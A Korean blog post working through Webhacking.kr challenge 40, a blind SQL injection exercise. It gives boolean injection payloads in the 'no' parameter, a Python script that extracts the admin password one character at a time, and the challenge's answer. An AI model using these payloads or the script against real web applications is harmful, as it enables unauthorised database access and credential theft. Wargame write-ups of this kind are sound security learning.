Webhacking.kr 40번 문제풀이

동스토리 ㅣ 2021. 1. 29. 16:02

반응형

안녕하세요.

 

웹 해킹 40번 문제풀이 하겠습니다.

 

문제를 보니 Blind SQL Injection 문제라는 느낌이 듭니다.

 

1. login을 클릭하여 보면 GET방식으로 no=1&id=guest&pw=guest가 전달되며, guest로 접속이 성공한 것을 볼 수 있습니다.

2. id = admin / pw = admin 입력 후 login을 해보면 failure가 나오는 걸 볼 수 있습니다.

3. no = 0을 입력 후 login 하면 아무런 반응이 없습니다.

4. no = 0||1=1을 입력 후 login하면 Success - guest / no = 0||1=2를 입력하면 Failure가 나오는 걸로 보아 우리는 no값을 사용하여 SQL Injection을 시도할 수 있을 거 같습니다.

 

 

5. no = 0||no=2, id=admin, pw=admin을 입력 후 login 하면 admin password를 제출하는 폼이 나옵니다.

6. admin password에 대한 정보가 없기 때문에, password길이 부터 알아보겠습니다.

no = 0||no=2&&length(pw)=1, id=admin, pw=admin을 입력 후 login 하면 Failure가 나오고, 10까지 증가시키면서 하면 다시 admin password를 제출하는 폼이 나옵니다.

결국 admin password는 10자리인 것을 알게 되었습니다.

7.  파이썬 코드를 사용해서 password를 알아보면 luck_admin이 나옵니다.

(2번 문자열이 나오지 않는 이유는 guest에 2번째 패스워드와 동일하기 때문입니다.)

import requests

url 	= "https://webhacking.kr/challenge/web-29/"
headers = { "Cookie" : "PHPSESSID=세션값" }

password = ""
pw_length =10

for i in range(1, pw_length+1):
    for j in range(33,133):
        if j<=90 and j >= 65:
            continue
        k = hex(j).split("0x")[1]
        query = "?no=0||substr(pw,{},1)=0x{}&id=guest&pw=guest".format(i,k)
        r = requests.get(url+query,headers=headers)
        if r.text.find("admin password :") != -1:
            password +=chr(j)
            print(i, "password is ", password)
            break

8. 다시 no = 0||no=2, id=admin, pw=admin을 입력 후 login 하여 admin password 제출 폼에 luck_admin을 제출하면 문제가 해결됩니다.

감사합니다.

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 42번 문제풀이  (0) 2021.02.05
Webhacking.kr 41번 문제풀이  (0) 2021.01.31
Webhacking.kr 39번 문제풀이  (0) 2021.01.25
Webhacking.kr 38번 문제풀이  (0) 2021.01.21
Webhacking.kr 36번 문제풀이  (0) 2021.01.17